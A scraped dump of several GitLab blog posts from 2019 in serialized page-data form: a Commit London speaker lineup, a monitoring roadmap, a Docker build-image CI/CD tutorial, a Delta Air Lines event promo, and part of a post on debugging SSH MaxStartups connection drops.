user conference! Register now.](#register-today)\n {: .alert .alert-gitlab-purple .text-center}\n\n## The lineup\n\nLocation coolness aside, the stories and talks are why you should come to GitLab Commit. We've\nworked hard to create a user-centric conference with speakers who not only build great software every day\nbut strive to modernize the process as they do so.\n\nThe GitLab Commit London keynotes will include:\n\n![speaker card alberto gisbert](https://about.gitlab.com/images/blogimages/gitlab-commit-london-speakers/gitlab-commit-london-alberto-gisbert-speaker-card.png){: .shadow.small.right.wrap-text}\n\n#### Establishing a DevOps culture @ Porsche:  A GitLab success story\n##### Alberto Gisbert & Dennis Menge, software engineers at Porsche AG\n\nIn early 2018, Porsche set a goal to become a digital company. However, neither the culture\nnor infrastructure supported modern software development. Automation, cloud infrastructure, and\nbetter collaboration were needed. Software engineers Alberto Gisbert and Dennis Menge share\nPorsche's journey to digital transformation from a developer point of view.\n\n![speaker card matt smith](https://about.gitlab.com/images/blogimages/gitlab-commit-london-speakers/gitlab-commit-london-matt-smith-speaker-card.png){: .shadow.small.left.wrap-text}\n\n#### Zero to K8s: As fast as possible\n##### Matt Smith, software engineer lead, OSCE Team, Capgemini UK\n\nMatt will share his success story starting with no code and no infrastructure to having a\nfunctioning proof of concept application with frontend, backend and database, all\nrunning on Kubernetes. He'll explain how he got there quickly using GitLab and open source\nscripts and tools.\n\n![speaker card alexandru viscreanu](https://about.gitlab.com/images/blogimages/gitlab-commit-london-speakers/gitlab-commit-london-alexandru-constantin-viscreanu-speaker-card.png){: .shadow.small.right.wrap-text}\n\n#### Flying from base to native within the clouds\n##### Alexandru Constantin Viscreanu, platform engineer, Kiwi.com\n\nToday's PaaS landscape is filled with a wide variety of choices so Kiwi.com is constantly working on improving\nits infrastructure stack to take advantage of the many building blocks cloud providers have to offer. In\nthis talk Alex will be sharing how Kiwi manages to keep the technology up to date and what\nlessons have been learned from migrating their services over the years.\n\n## GitLab Commit London tracks\n\n### Cloud native\n\nLearn how to leverage cloud native technologies like Kubernetes, serverless, and [multicloud](/topics/multicloud/) to build\nand run applications better and faster. In \"The beauty of Gitlab CI/CD,\" with Getty Orawo, a software\ndeveloper at Podii, Getty will discuss her journey through DevOps and how she learned to autodeploy.\n\n### DevOps in action\n\nWe all need practical advice and examples of how others have navigated DevOps transformations so\nthese sessions focus on actions and results rather than high-level ideas. In \"Zero-cost infrastructure\nand automatic deployments for small teams,\" with George Tsiolis, UX engineer, and Niki Kontoe,\nbackend engineer, at Ubitech, the speakers will discuss how they planned their engineering\nefforts and improved their development workflows using source code management, code reviews,\ncontinuous integration, and continuous deployment practices.\n\n### Powered by GitLab\n\nSoftware has eaten the world and we are all better for it. Hear how developers like you are\nbuilding on GitLab to solve large, real-world problems including humanitarian crises and even space exploration.\nIn \"Four years with GitLab at Ocado Technology,\" with Piotr Kurpik and Artur Frysiak,\nDevOps engineers at Ocado, the co-presenters will focus on how they honed in on one and only source\ncode tool and the successes and challenges that have shaped their experiences.\n\n## Agenda\n\n\u003Ca id=\"sched-embed\" href=\"//gitlabcommit2019london.sched.com/\">View the GitLab Commit 2019 - London schedule &amp; directory.\u003C/a>\u003Cscript type=\"text/javascript\" src=\"//gitlabcommit2019london.sched.com/js/embed.js\">\u003C/script>\n\n### Register today\n\nDon't wait to register as tickets are going fast! You can still get £99 off if you register before\nSeptember 23 with code [commit99](https://gitlabcommit2019ldntickets.eventbrite.com?discount=commit99).\n",[277,267,3949],{"slug":27711,"featured":6,"template":678},"gitlab-commit-london-speakers","content:en-us:blog:gitlab-commit-london-speakers.yml","Gitlab Commit London Speakers","en-us/blog/gitlab-commit-london-speakers.yml","en-us/blog/gitlab-commit-london-speakers",{"_path":27717,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27718,"content":27723,"config":27727,"_id":27729,"_type":16,"title":27730,"_source":17,"_file":27731,"_stem":27732,"_extension":20},"/en-us/blog/monitoring-team-update",{"title":27719,"description":27720,"ogTitle":27719,"ogDescription":27720,"noIndex":6,"ogImage":13715,"ogUrl":27721,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27721,"schema":27722},"How we plan to build more observability tools on GitLab monitoring","Get the scoop on our plan to close the DevOps loop.","https://about.gitlab.com/blog/monitoring-team-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we plan to build more observability tools on GitLab monitoring\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-08-29\",\n      }",{"title":27719,"description":27720,"authors":27724,"heroImage":13715,"date":27707,"body":27725,"category":299,"tags":27726},[17272],"\nThe product team at GitLab is working to close the DevOps loop by accelerating development\non new monitoring products that will offer more observability into application performance and\nthe health of your deployments.\n\n## Where does monitoring fit into the DevOps lifecycle?\n\n[Monitoring is the final Ops stage of the DevOps loop](/direction/monitor/), coming up after the\nproduction environment is configured and the application deployed. No developer should really\nship code and forget it. Monitoring is essential to proactively respond to simple and complex\nproblems, and helps GitLab customers uphold the expectations outlined in their service\nlevel objectives (SLOs) with their users.\n\n## Our vision for monitoring at GitLab\n\nWe outlined big plans for [building out our Ops capabilities](/blog/gitlabs-2018-product-vision/) in our 2018 GitLab product vision:\n“A big milestone for GitLab will be when operations people log into GitLab every day and consider\nit their main interface for getting work done.”\n\nSince then, GitLab has been working diligently to build out our monitoring products to close the\nDevOps loop. The goal is to build instrumentation that allows developers to proactively identify\nSLO degradation and observe the impacts of code changes across multiple deployments in real-time.\nThe \"North Stars\" that guide product development in the monitoring stage include:\n\n*   **Instrument with ease**: GitLab is set up so teams have generic observability into their\napplication performance.\n*   **Resolve like a pro**: GitLab correlates incoming observability data with CI/CD events and\nsource code information so troubleshooting is easy.\n*   **Gain insights seamlessly**: Our use of container-based deployments make it simpler to\ncontinuously collect insights into production SLOs, incidents, and observability sources across\ncomplex projects and multiple applications.\n\nOne of our [core principles at GitLab is to dogfood everything](/direction/monitor/#dogfooding) —\nafter all, if it doesn’t work for us, how can it work for our customers? We begin by\nsetting up our own infrastructure teams at GitLab.com\n[to use the incident management system](https://gitlab.com/groups/gitlab-org/-/epics/1672)\nwe’re developing, and also building out GitLab self-monitoring\nso our administrators can monitor their self-managed GitLab instance the same way their\ndevelopers use GitLab to monitor their applications.\n\nWe also are committed to closing the DevOps loop by prioritizing cloud native first,\nand building tooling designed to provide more insight in to application performance and the\nhealth of deployments for Ops professionals.\n\n[Kenny Johnston](/company/team/#kencjohnston), director of product (Ops) at GitLab, gave me an\noverview of some of the new products the monitoring team is working on to help make this\nvision a reality. Watch the full video of our conversation below and check out\nthe [monitoring product roadmap](https://gitlab.com/groups/gitlab-org/-/roadmap?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=devops%3A%3Amonitor)\nfor an in-depth look at our goals and timeline.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/VFju_3R0hPg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Building an observability suite to close out the DevOps loop\n\nThe top priority for the monitoring team is to close the DevOps feedback loop for GitLab customers.\nThis means that if SLOs are degraded in any way, an alert is triggered and an incident is created\nin GitLab allowing for an immediate response.\n\nOur priority product categories at this stage are metrics, cluster monitoring, and incident management,\nsays Kenny.\n\n“First I want to make sure that we can provide our customers with the instrumentation so that they\ncan define an SLO, and when their application exceeds or fails to achieve that SLO, that they can\nrespond in an instant,” says Kenny. “Once we have them doing that, we'll get a lot of good\nfeedback, and immediate feedback from users about what tools they need for diagnostic purposes.”\n\n## Measure your performance with enhanced metrics\n\nWe already have a [successful integration](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html)\nwith open source metrics tool, Prometheus, which we use to collect and display performance metrics\nfor applications deployed on Kubernetes. The integration is sophisticated enough that developers\ndo not have to leave GitLab to collect important information on the impact of a merge request or\nto monitor production systems. Our product category for metrics is “viable,”  meaning customers\nare using the instrumentation we’ve developed to solve real problems, bringing us a step closer to\nclosing out the DevOps loop.\n\nDiagnostic tooling in product categories such as logging, tracing, and error tracking for monitoring\napplication performance (APM) is currently at the MVC stage, though the team has made plans to\n[accelerate development on logging](https://youtu.be/nB5KDY4nsFg) in future GitLab deployments.\n\nKenny notes that our observability suite is one of the primary ways GitLab provides value for\noperators that are thinking of making the move to cloud native.\n\n“GitLab out-of-the-box keeps up with new cloud native technologies because we're constantly\nadopting the newest versions, and our whole convention of configuration means we don't\nleave it to you to figure it out, we've figured it out for you as a default,” explains Kenny.\n\n## Simplify Kubernetes management using GitLab\n\nThere is quite a bit of overlap between product category metrics and cluster monitoring at this\nstage, as Prometheus is used to collect metrics on applications deployed using Kubernetes.\nBy offering out-of-the-box cluster monitoring on Kubernetes, we make it possible for operators\nto monitor the health of their deployed environments all in one place.\n\nOne of the [high-value cluster monitoring features](https://docs.gitlab.com/ee/user/project/clusters/#monitoring-your-kubernetes-cluster)\nwe’ve set up on GitLab is memory usage and capacity metrics (CPU) administration,\nso users can be automatically alerted if either of those numbers are out of bounds on their deployed environments.\n\n“We'd like to start adding capabilities for\n[cluster cost optimization](https://gitlab.com/gitlab-org/gitlab-ee/issues/11879), so\ninforming users not just when they're hitting capacity but when they're significantly under\ncapacity and should probably size down,” says Kenny. “That helps users who've configured a\nKubernetes cluster to not end up wasting it because it's being underutilized and not end up wasting money.”\n\nCluster monitoring was brought to “viable” stages in earlier GitLab releases as we transition to\nKubernetes, but the [product team is building out alerting ](https://gitlab.com/gitlab-org/gitlab-ee/issues/5456)\nand other cluster monitoring features in upcoming releases.\n\n## Dogfooding our new incident management system on GitLab\n\nCreating an incident management system is key to a robust observability suite on monitoring:\n“The features we've prioritized are oriented towards getting the right person the right information\nto enable them to restore the services they are responsible for as quickly as possible,” according to\nthe [category vision for an incident management system](/direction/service_management/incident_management/).\n\nBecause we recognize the urgency of building a functional incident management system,\n[GitLab is leveraging issues](/direction/service_management/incident_management/index.html#high-level-design)\nas the base for creating a viable platform. The goal is to stress the capacity of our existing\ntooling by focusing on integrations with communications tools such as Slack, Zoom, etc., so we can\naccelerate time-to-market and iterate as we go, while also focusing on building out new functionality.\n\nThe infrastructure team on GitLab.com is [dogfooding the incident management system ](https://gitlab.com/groups/gitlab-org/-/epics/1672)\nso we can put the tooling through its paces, making improvements as we go.\n\n## Outside the loop: Getting GitLab administrators to monitor GitLab using GitLab\n\nKenny says the product team has a strategy for creating more exposure to the monitoring capabilities\nGitLab has in development: putting our monitoring capabilities front and center\nfor administrators of the GitLab self-managed instance.\n\n“Today you can create a project for your application that's an e-commerce app, and get the\ninstrumentation to know whether the Kubernetes cluster is experiencing pain, whether SLOs that\nyou custom define have alerts and respond to that with incidents,” says Kenny. “We'd like you to have\nthat exact same experience, or expose you to that same experience with your GitLab self-managed\ninstance, so that as an administrator you're using the same tools to monitor and respond to\nthe GitLab instance as your developers would use to monitor and respond to their applications.”\n\nBy essentially setting up administators to dogfood the monitoring features we are providing to\ndevelopers for application management, we can ensure that they're battle-tested on a larger application.\n\n## The core challenge of the observability suite\n\nWhile the product team at GitLab has a vision and roadmap for building a comprehensive suite of\nobservability instrumentation, there isn’t a clear consensus among monitoring experts as to what\nis required for a robust observability suite in this new, cloud native world.\n\n“There's varied opinion in the new world that's Kubernetes-based about what an observability\nsystem looks like,” says Kenny. “There's a legacy view that seems to be evolving. So, we need to keep up\nwith that and of the industry's evolution of what we consider required. We as a company just\nneed to stay focused on what our users are asking for, and that's why I think\ncompleting that DevOps loop is important first, because then we'll start getting immediate user feedback.”\n\nKeep an eye out for these new monitoring updates in our 12.2 and 12.3 releases.\n\nCover photo by Glen . on [Unsplash](https://unsplash.com/search/photos/binoculars?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[3949,1268],{"slug":27728,"featured":6,"template":678},"monitoring-team-update","content:en-us:blog:monitoring-team-update.yml","Monitoring Team Update","en-us/blog/monitoring-team-update.yml","en-us/blog/monitoring-team-update",{"_path":27734,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27735,"content":27741,"config":27746,"_id":27748,"_type":16,"title":27749,"_source":17,"_file":27750,"_stem":27751,"_extension":20},"/en-us/blog/building-build-images",{"title":27736,"description":27737,"ogTitle":27736,"ogDescription":27737,"noIndex":6,"ogImage":27738,"ogUrl":27739,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27739,"schema":27740},"Getting [meta] with GitLab CI/CD: Building build images","Let's talk about building build images with GitLab CI/CD. The power of Docker as a build platform is unleashed when you get meta.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678567/Blog/Hero%20Images/building-blocks.jpg","https://about.gitlab.com/blog/building-build-images","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting [meta] with GitLab CI/CD: Building build images\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2019-08-28\",\n      }",{"title":27736,"description":27737,"authors":27742,"heroImage":27738,"date":27743,"body":27744,"category":734,"tags":27745},[11790],"2019-08-28","\n> An alternative title for this post could have been:\n>\n> I heard you liked Docker, so I put [dind](https://hub.docker.com/_/docker/).\n\n## Getting started\nIt should be clear by now that I love building stuff with GitLab CI/CD. From\n[DNS](https://medium.com/gitlab-magazine/ci-cd-all-the-things-pihole-625a0ceaf12)\nto [breakfast](/blog/introducing-auto-breakfast-from-gitlab/) GitLab CI/CD\noffers a pretty wide range. However, past those \"fun\" use cases, I also like\nto share some ~~best~~ practices I have acquired during my years of using [GitLab\nCI/CD](/solutions/continuous-integration/), both for software and non-software projects alike.\n\nI crossed out \"best\" above because I don't really like the term \"best practices.\" It\nimplies that there is only one right answer to a given question – which is the\nopposite of the point of computer science. Sure there are better and worse ways to\ndo something – but like many things in life, you have to find what works for\nyou. \"[The best camera is the one you have with you](https://www.amazon.com/Best-Camera-One-Thats-You/dp/0321684788)\"\ncomes to mind when building CI/CD for projects. Something that works is better than something that's pretty.\n\nBut, enough of my digression, let's get to the practice I wanted to share in this\npost: Building build images as part of the build process. Yes, it is precisely as meta as it sounds.\n\n## Why?\n\nOften when building a particular project, you may have several unique build dependencies.\nIn many languages, package managers solve for the majority if not all of these\ndependencies – at least for build time (think [npm](https://www.npmjs.com), [RubyGems](https://rubygems.org/),\n[Maven](https://maven.apache.org/what-is-maven.html)). However, when we are building and\ndeploying (CI/**CD** let's remember) from a machine that is not our own, that may not\nbe enough. There may be a few dependencies we might need from elsewhere.\n\nThe language libraries themselves are one such dependency – to build Java I'm going to need\nthe JDK or JRE. To build Node, I'll need... well Node, etc. In a Docker-based environment,\nthose languages and dependencies typically have an official image on Docker\nHub ([JRE from Oracle](https://hub.docker.com/_/oracle-serverjre-8) or\n[Node from Node.js](https://hub.docker.com/_/node) for instance). Assume, however, that\nI may need a few other things not included in **either** those official Docker images or\nthe package manager I'm using. For instance, maybe I need a CLI tool for\ndeploy ([AWS](https://aws.amazon.com/cli/), [Heroku](https://devcenter.heroku.com/articles/heroku-cli),\n[Firebase](https://firebase.google.com/docs/cli), etc.). We also might need a testing\nframework or tool like [Selenium](https://www.seleniumhq.org) or\n[headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome).\nOr I may need other tools for packaging, testing, or deployment.\n\nSometimes there is a Docker image on Docker Hub for these combinations – or some of\nthem – but not always a maintained version. One easy solution to this could be to\njust run the install of the tools before every job that needs it. This can\neven be \"automated\" using something like\nthe [before_script](https://docs.gitlab.com/ee/ci/yaml/#before_script-and-after_script) syntax.\nHowever, this adds time to our pipeline and seems inefficient: Is there a better way?\n\n## Enter the GitLab Docker registry\nSince GitLab is a single application for the entire [DevOps](/topics/devops/) lifecycle – it actually\nships out of the box with a built-in\n[Docker registry](https://docs.gitlab.com/ee/user/packages/container_registry/index.html).\nThis can be a useful tool when deploying code in a containerized environment. We can\nbuild our application into a container and send it off into Kubernetes or some\nother Docker orchestrator.\n\nHowever, I also see this registry as an opportunity to save time in my\npipeline (and save round trips to Docker hub and back every time). For builds that require\nsome of these extra dependencies, I like to build a \"build\" Docker image.\nThat way, I have an image with all of those baked right in. Then, as part of my\npipeline, I can build the image at the start (only when changes are made or every time).\nAnd the rest of the pipeline can consume that image as the base image.\n\n## Putting it in practice\nFor example, let's see what it looks like to build a simple Docker image to use with\ndeploying to [Google Firebase](https://firebase.google.com/).\n\nFirebase is a \"backend as a service\" tool that provides a database, authentication,\nand other services across platforms (web, iOS, and Android). It also includes web hosting\nand several other items that can be deployed through [a CLI](https://firebase.google.com/docs/cli).\nThis tool makes getting started really easy. You can deploy the whole stack with\n`firebase deploy.` Alternatively, you can deploy a part (like [serverless](/topics/serverless/) functions)\nwith a command like `firebase deploy --only functions.`\n\nMaking this work in a CI/CD world requires a few extra steps though. We'll need a Node\nDocker image that has the firebase CLI in it, so let's make a simple Dockerfile to do that.\n\n> Putting this Dockerfile in `.meta/Dockerfile`\n\n```dockerfile\nFROM node:10\n\nRUN npm install -g firebase-tools\n```\n\nNext, I'll add a job to the front of my pipeline.\n\n> Added to the front of my `.gitlab-ci.yml`\n\n```yaml\nmeta-build-image:\n  image: docker:stable\n  services:\n    - docker:dind\n  stage: prepare\n  script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - cd .meta\n    - docker build -t $CI_REGISTRY/group/project/buildimage:latest .\n    - docker push $CI_REGISTRY/group/project/buildimage:latest\n  only:\n    refs:\n      - main\n    changes:\n      - .meta/Dockerfile\n```\n\nLet's break down that job:\n1. We use the `docker:stable` image and a service of `docker:dind`\n1. The stage is my first stage called `prepare`\n1. In the script, we login to the GitLab registry with the built-in variables and build the\nimage. For more details see the [GitLab documentation for building Docker images](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html).\n1. We only run this on `main` and only when the `.meta/Dockerfile` changes. This makes\nsure we are specific about when we change the Docker image. We could also use the\ncommit hash or other methods here to make the image more fungible.\n\nNow, in further jobs down the pipeline, I can use the latest build of the Docker image like this:\n\n```yaml\nfirestore:\n  image: registry.gitlab.com/group/project/buildimage\n  stage: deploy 🚢🇮🇹\n  script:\n    - firebase deploy --only firestore\n  only:\n    changes:\n      - .firebase-config/firestore.rules\n      - .firebase-config/firestore.indexes.json\n```\n\nIn this job, we only run the job if something about\nthe [Firestore](https://firebase.google.com/docs/firestore) (the database from Firebase)\nconfiguration changes. And when it does, we run the `firestore deploy` command in CI. I\nalso added a token for deploy as a [GitLab CI/CD variable](https://docs.gitlab.com/ee/ci/variables/)\nbased off the Firebase documentation\nfor [using firebase with CI](https://firebase.google.com/docs/cli#admin-commands).\n\n## Summary\nIn the end, this helps speed up pipelines by ensuring that you have a custom-built build\nimage that you control. You don't have to rely on unstable or unmaintained Docker Hub\nimages or even have a Docker Hub account yourself to get started.\n\nTo learn more about GitLab CI/CD you can [read the GitLab website](/solutions/continuous-integration/)\nor the [CI/CD docs](https://docs.gitlab.com/ee/ci/introduction/). Also, there's a lot more to\nlearn about the [GitLab Docker registry](https://docs.gitlab.com/ee/user/packages/container_registry/index.html).\n\nCover image by [Hack Capital](https://unsplash.com/@markusspiske?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/build?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[110,2509,696],{"slug":27747,"featured":6,"template":678},"building-build-images","content:en-us:blog:building-build-images.yml","Building Build Images","en-us/blog/building-build-images.yml","en-us/blog/building-build-images",{"_path":27753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27754,"content":27760,"config":27765,"_id":27767,"_type":16,"title":27768,"_source":17,"_file":27769,"_stem":27770,"_extension":20},"/en-us/blog/avoiding-the-vendor-lock-with-delta-at-commit",{"title":27755,"description":27756,"ogTitle":27755,"ogDescription":27756,"noIndex":6,"ogImage":27757,"ogUrl":27758,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27758,"schema":27759},"GitLab Commit: Hear how Delta Air Lines became truly cloud native","Join us in Brooklyn on September 17 to hear how Delta Air Lines achieved workflow portability.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680793/Blog/Hero%20Images/portable.jpg","https://about.gitlab.com/blog/avoiding-the-vendor-lock-with-delta-at-commit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Commit: Hear how Delta Air Lines became truly cloud native\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Priyanka Sharma\"}],\n        \"datePublished\": \"2019-08-27\",\n      }",{"title":27755,"description":27756,"authors":27761,"heroImage":27757,"date":27762,"body":27763,"category":299,"tags":27764},[26983],"2019-08-27","\n\nHave you ever been tasked with updating something on the move? Imagine changing the wheels of a\nrace car... during a race! Well that’s exactly what Delta sought to do as the organization examined\nits tooling technology.\n\n> “Anyone at a large and historic organization knows how difficult it is to adopt cloud\ncomputing and Kubernetes-driven development. We've been there.” – Jasmine James, IT Manager - DevOps\nCenter of Excellence, Delta Air Lines\n\nAs large companies know, building in silos becomes all too easy as needs grow. Too often, enterprises\nend up with unwieldy infrastructures as different teams often have workloads in different clouds.\nSometimes these large companies may want to choose different clouds for different workloads, but\nthis seemingly reasonable goal becomes difficult when clouds tend to lock their users in via tools,\npartnerships, and timing. And innovators know that nothing stifles creativity – and business –\nlike inflexibility. Competition, collaboration, and portability are as essential to [cloud native\ntechnologies](/topics/cloud-native/) as they are to sports, art, and academics.\n\nEnter Delta, a huge enterprise that has found a solution which enables them to be cloud agnostic\nand cloud native.\n\n“In my opinion, your technology can empower further innovation and business objectives when you order\nyour operations – in our case, operationalizing Kubernetes on bare metal with the right tooling\nbefore jumping on the cloud bandwagon. That's what my team at Delta is excited about, and I hope\nour story can save some other folks a few hours of struggle,\" Jasmine says.\n\nWant to learn more? Join us at GitLab Commit Brooklyn on September 17 to hear the full story.\n[Register today](/events/commit/#)!\n",[277],{"slug":27766,"featured":6,"template":678},"avoiding-the-vendor-lock-with-delta-at-commit","content:en-us:blog:avoiding-the-vendor-lock-with-delta-at-commit.yml","Avoiding The Vendor Lock With Delta At Commit","en-us/blog/avoiding-the-vendor-lock-with-delta-at-commit.yml","en-us/blog/avoiding-the-vendor-lock-with-delta-at-commit",{"_path":27772,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27773,"content":27778,"config":27782,"_id":27784,"_type":16,"title":27785,"_source":17,"_file":27786,"_stem":27787,"_extension":20},"/en-us/blog/tyranny-of-the-clock",{"title":27774,"description":27775,"ogTitle":27774,"ogDescription":27775,"noIndex":6,"ogImage":6954,"ogUrl":27776,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27776,"schema":27777},"6 Lessons we learned when debugging a scaling problem on GitLab.com","Get a closer look at how we investigated errors originating from scheduled jobs, and how we stumbled upon \"the tyranny of the clock.\"","https://about.gitlab.com/blog/tyranny-of-the-clock","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"6 Lessons we learned when debugging a scaling problem on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Craig Miskell\"}],\n        \"datePublished\": \"2019-08-27\",\n      }",{"title":27774,"description":27775,"authors":27779,"heroImage":6954,"date":27762,"body":27780,"category":734,"tags":27781},[9051],"\nHere is a story of a scaling problem on GitLab.com: How we found it, wrestled with it, and ultimately resolved it. And how we discovered the tyranny of the clock.\n\n## The problem\n\nWe started receiving reports from customers that they were intermittently seeing errors on Git pulls from GitLab.com, typically from CI jobs or similar automated systems. The reported error message was usually:\n```\nssh_exchange_identification: connection closed by remote host\nfatal: Could not read from remote repository\n```\nTo make things more difficult, the error message was intermittent and apparently unpredictable. We weren't able to reproduce it on demand, nor identify any clear indication of what was happening in graphs or logs. The error message wasn't particularly helpful either; the SSH client was being told the connection had gone away, but that could be due to anything: a flaky client or VM, a firewall we don't control, an ISP doing something strange, or an application problem at our end. We deal with a *lot* of connections to Git-over-SSH, in the order of ~26 million a day, or 300/s average, so trying to pick out a small number of failing ones out of that firehose of data was going to be difficult. It's a good thing we like a challenge.\n\n## The first clue\n\nWe got in touch with one of our customers (thanks Hubert Hölzl from Atalanda) who was seeing the problem several times a day, which gave us a foothold. Hubert was able to supply the relevant public IP address, which meant we could run some packet captures on our frontend HAproxy nodes, to attempt to isolate the problem from a smaller data set than 'All of the SSH traffic.' Even better, they were using the [alternate-ssh port](/blog/gitlab-dot-com-now-supports-an-alternate-git-plus-ssh-port/) which means we only had two HAProxy servers to look at, not 16.\n\nTrawling through these packet traces was still not fun; despite the constraints, there was ~500MB of packet capture from about 6.5 hours. We found the short-running connections, in which the TCP connection was established, the client sent a version string identifier, and then our HAProxy immediately tore down the connection with a proper TCP FIN sequence. This was the first great clue. It told us that it was definitely the GitLab.com end that was closing the connection, not something in between the client and us, meaning this was a problem we could debug.\n\n### Lesson #1: In Wireshark, the Statistics menu has a wealth of useful tools that I'd never really noticed until this endeavor.\n\nIn particular, 'Conversations' shows you a basic breakdown of time, packets, and bytes for each TCP connection in the capture, which you can sort. I *should* have used this at the start, instead of trawling through the captures manually. In hindsight, connections with small packet counts was what I was looking for, and the Conversations view shows this easily. I was then able to use this feature to find other instances, and verify that the first instance I found was not just an unusual outlier.\n\n## Diving into logs\n\nSo what was causing HAProxy to tear down the connection to the client? It certainly seemed unlikely that it was doing it arbitrarily, and there must be a deeper reason; another layer of [turtles](https://en.wikipedia.org/wiki/Turtles_all_the_way_down), if you will. The HAProxy logs seemed like the next place to check. Ours are stored/available in GCP BigQuery, which is handy because there's a lot of them, and we needed to slice 'n dice them in lots of different ways. But first, we were able to identify the log entry for one of the incidents from the packet capture, based on time and TCP ports, which was a major breakthrough. The most interesting detail in that entry was the `t_state` (Termination State) attribute, which was `SD`. From the HAProxy documentation:\n```\n    S: aborted by the server, or the server explicitly refused it\n    D: the session was in the DATA phase.\n```\n`D` is pretty clear; the TCP connection had been properly established, and data was being sent, which matched the packet capture evidence. The `S` means HAProxy received an RST, or an ICMP failure message from the backend. There was no immediate clue as to which case was occurring or possible causes. It could be anything from a networking issue (e.g. glitch or congestion) to an application-level problem. Using BigQuery to aggregate by the Git backends, it was clear it wasn't specific to any VM. We needed more information.\n\nSide note: It turned out that logs with `SD` weren't unique to the problem we were seeing. On the alternate-ssh port we get a lot of scanning for HTTPS, which leads to `SD` being logged when the SSH server sees a TLS ClientHello message while expecting an SSH greeting. This created a brief detour in our investigation.\n\nOn capturing some traffic between HAProxy and the Git server and using the Wireshark statistics tools again, it was quickly obvious that SSHD on the Git server was tearing down the connection with a TCP FIN-ACK immediately after the TCP three-way handshake; HAProxy still hadn't sent the first data packet but was about to, and when it did very shortly after, the Git server responded with a TCP RST. And thus we had the reason for HAProxy to log a connection failure with `SD`. SSH was closing the connection, apparently deliberately and cleanly, with the RST being just an artifact of the SSH server receiving a packet after the FIN-ACK, and doesn't mean anything else here.\n\n## An illuminating graph\n\nWhile watching and analyzing the `SD` logs in BigQuery, it became apparent that there was quite a bit of clustering going on in the time dimension, with spikes in the first 10 seconds after the top of each minute, peaking at about 5-6 seconds past:\n\n![Connection errors grouped by second](https://gitlab.com/gitlab-com/gl-infra/infrastructure/uploads/72cd1b763c51781fa4224495f059afb5/image.png){: .shadow.medium.center}\nConnection errors, grouped by second-of-the-minute\n{: .note.text-center}\n\nThis graph is created from data collated over a number of hours, so the fact that the pattern is so substantial suggests the cause is consistent across minutes and hours, and possibly even worse at specific times of the day. Even more interesting, the average spike is 3x the base load, which means we have a fun scaling problem and simply provisioning 'more resource' in terms of VMs to meet the peak loads would potentially be prohibitively expensive. This also suggested that we were hitting some hard limit, and was our first clue to an underlying systemic problem, which I have called \"the tyranny of the clock.\"\n\nCron, or similar scheduling systems, often don't have sub-minute accuracy, and if they do, it isn't used very often because humans prefer to think about things in round numbers. Consequently, jobs will run at the start of the minute or hour or at other nice round numbers. If they take a couple of seconds to do any preparations before they do a `git fetch` from GitLab.com, this would explain the connection pattern with increases a few seconds into the minute, and thus the increase in errors around those times.\n\n### Lesson #2: Apparently a lot of people have time synchronization (via NTP or otherwise) set up properly.\n\nIf they hadn't, this problem wouldn't have emerged so clearly. Yay for NTP!\n\nSo what could be causing SSH to drop the connection?\n\n## Getting close\n\nLooking through the documentation for SSHD, we found MaxStartups, which controls the maximum number of connections that can be in the pre-authenticated state. At the top of the minute, under the stampeding herd of scheduled jobs from around the internet, it seems plausible that we were exceeding the connections limit. MaxStartups actually has three numbers: the low watermark (the number at which it starts dropping connections), a percentage of connections to (randomly) drop for any connections above the low watermark, and an absolute maximum above which all new connections are dropped. The default is 10:30:100, and our setting at this time was 100:30:200, so clearly we had increased the connections in the past. Perhaps it was time to increase it again.\n\nSomewhat annoyingly, the version of openssh on our servers is 7.2, and the only way to see that MaxStartups is being breached in that version is to turn on Debug level logging. This is an absolute firehose of data, so we carefully turned it on for a short period on only one server. Thankfully within a couple of minutes it was obvious that MaxStartups was being breached, and connections were being dropped early as a result,.\n\nIt turns out that OpenSSH 7.6 (the version that comes with Ubuntu 18.04) has better logging about MaxStartups; it only requires Verbose logging to get it. While not ideal, it's better than Debug level.\n\n### Lesson #3: It is polite to log interesting information at default levels and deliberately dropping a connection for any reason is definitely interesting to system administrators.\n\nSo now that we have a cause for the problem, how can we address it? We can bump MaxStartups, but what will that cost? Definitely a small bit of memory, but would it cause any untoward downstream effects? We could only speculate, so we had to just try it. We bumped the value to 150:30:300 (a 50% increase). This had a great positive effect, and no visible negative effect (such as increased CPU load):\n\n![Before and after graph](https://gitlab.com/gitlab-com/gl-infra/production/uploads/047a4859caafc6681c9d034c202418b9/image.png){: .shadow.medium.center}\n\nBefore and after bumping MaxStartups by 50%\n{: .note.text-center}\n\nNote the substantial 